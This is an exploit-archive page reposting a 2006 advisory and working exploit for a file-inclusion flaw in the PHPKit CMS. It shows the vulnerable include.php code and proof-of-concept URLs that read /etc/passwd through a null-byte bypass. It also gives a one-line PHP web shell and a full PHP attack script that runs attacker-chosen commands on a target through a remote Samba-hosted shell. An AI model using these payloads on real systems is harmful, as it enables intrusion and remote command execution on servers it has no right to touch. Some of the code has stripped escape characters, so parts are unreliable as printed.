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PHPKIT >= 1.6.1r2 arbitrary local/remote inclusion (unproperly patched in previous versions)

CVE Category Price Severity
N/A CWE-Other N/A High
Author Risk Exploitation Type Date
Unknown High Local/Remote 2006-02-24
CPE
cpe:cpe:/a:phpkit:phpkit:1.6.1r2
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006020051

Below is a copy:

---------- PHPKit <= v.1.6.1 release 2 remote code execution -------------------

software:
site: www.phpkit.de
description: a Content Management / homepage / community building software
written in PHP language
------------------------------------------------------------------------
--------

vulnerable code in include.php at line 558/579:

...
if(!empty($path))
$path_filename=pkDIRPUBLIC.(substr($path,-4)=='.php' ? substr(basename($path),0,-4) : $path).pkEXT;

if(filecheck($path_filename))
{
include($path_filename);
}
[*]       elseif(filecheck($path) && strstr(strtolower($path),'.php') && !strstr(strtolower($path),'http://') && !strstr(strtolower($path),'https://') && !strstr(strtolower($path),'ftp://') && !strstr($path,"../"))
{
include($path);
}
elseif(!strstr(strtolower($file),'http://') && filecheck($file) && !strstr($file,"../") && file_extension($file)!='php')
{
$site_body.=implode('',file($file));
}
elseif(!empty($src))
{
$src=pkEntities($src);
eval("$site_body.="".getTemplate("site_iframe")."";");
}
else
pkEvent('page_not_found');
...

and in inc/func/default.php at line 355-362:
...
function filecheck($file)
{
if(!($fp=@fopen($file,'r')))
return false;

fclose($fp);
return true;
}
...

"path" var is not properly sanitized before to be used to include files from
local resources. Look  carefully at [*]: script checks if "path" is
an existing and readable file, it must not contain "http://", "ftp://" url
wrappers and "../" chars, it must contain the ".php" extension.

This checks can be easily overrided to include files from local and external
resources, poc:

if magic_quotes_gpc = Off, you can view any file on target system using a null
char:

http://[target]/[path]/include.php?path=/etc/passwd%00.php
http://[target]/[path]/include.php?path=c:boot.ini%00.php

(about this: strstr() function find ".php" extension, but fopen() and include()
do not consider any char after a null char)

regardless of any php.ini settings you can include an arbitrary php file from
local resources:

http://[target]/[path]/include.php?path=c:[path_to]test.php
http://[target]/[path]/include.php?path=/[path_to]/test.php

also, since fopen() and include() functions support Samba and FTP secure url
wrappers, if allow_url_fopen = On, you can include a php file from external
resources, poc:

from a samba server:
http://[target]/[path]/include.php?path=\192.168.1.2cshell.php

from a ftp secure server (this should works if php is compiled in support for
OpenSSL)
http://[target]/[path]/include.php?path=ftps://username:password@somehos
t/shell.php

if shell.php have this code inside:

<?php system($_GET[cmd]);?>

you can execute commands on target system, poc:

http://[target]/[path]/include.php?cmd=ls%20-la&path=\192.168.1.2cshe
ll.php
------------------------------------------------------------------------
--------
exploit:

<?php
#  ---PHPKIT_161r2_incl_xpl.php                          4.27 16/02/2006       #
#                                                                              #
#           PHPKIT <= 1.6.1R2 remote commands execution exploit                #
#                              coded by rgod                                   #
#                    site: http://retrogod.altervista.org                      #
#                                                                              #
#  -> works with allow_url_fopen = On                                          #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "All men can see the tactics whereby I conquer, but what none can  #
#  see is the strategy out of which victory is evolved."                       #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",0);
ob_implicit_flush (1);

echo'<html><head><title>* PHPKIT <= 1.6.1R2 remote commands execution exploit **
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
* PHPKIT <= 1.6.1R2 remote commands execution exploit ** </p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/phpkit/ or just / ) </span></p><p><input type="text" name="cmd">          <span
class="Stile5"> * specify a command   </span>   </p>   <p>   <input  type="text"
name="smb_location"><span class="Stile5">* specify a Samba resource(ex: \\192.
168.1.2\c\path_to\shell.php </span></p> <p> <input   type="text" name="port">
<span class="Stile5">specify  a  port other than  80 (default value)</span> </p>
<p><input   type="text" name="proxy"><span class="Stile5"> send  exploit through
an HTTP proxy (ip:port) </span>  </p>  <p>  <input   type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>  </td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".htmlentities($datai)."</td>";
    }
    else {
      echo "<td>".htmlentities($datai)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>  </td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid prozy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$smb_location=urlencode(trim($_POST[smb_location]));
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "<span class="Stile5">";

if (($host<>'') and ($path<>'') and ($cmd<>'') and ($smb_location<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("r","",$host);$host=str_replace("n","",$host);
  $path=str_replace("r","",$path);$path=str_replace("n","",$path);

# STEP X -> One and unique, arbitrary remote inclusion ...
  $packet="GET ".$p."include.php?CMD=$cmd&path=".$smb_location."/ HTTP/1.1rn";
  $packet.="Host: ".$host."rn";
  $packet.="User-Agent: GoogleBot 1.1rn";
  $packet.="Connection: Closernrn";
  show($packet);
  sendpacketii($packet);
  if (eregi("Hi Master!",$html)) {echo "Exploit succeeded...";}
               else {echo "Exploit failed...";}
}
else
{echo "Note: on \\someip\path_to\shell.php you need this code:<br><br>";
 echo  nl2br(htmlentities("
        <?php
        ob_clean();echo"Hi Master!";ini_set("max_execution_time",0);passthru($_GET[CMD]);die;
        ?>
        "))."<br>";
  echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>

------------------------------------------------------------------------
--------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/phpkit_161r2_incl_xpl.html
------------------------------------------------------------------------
--------

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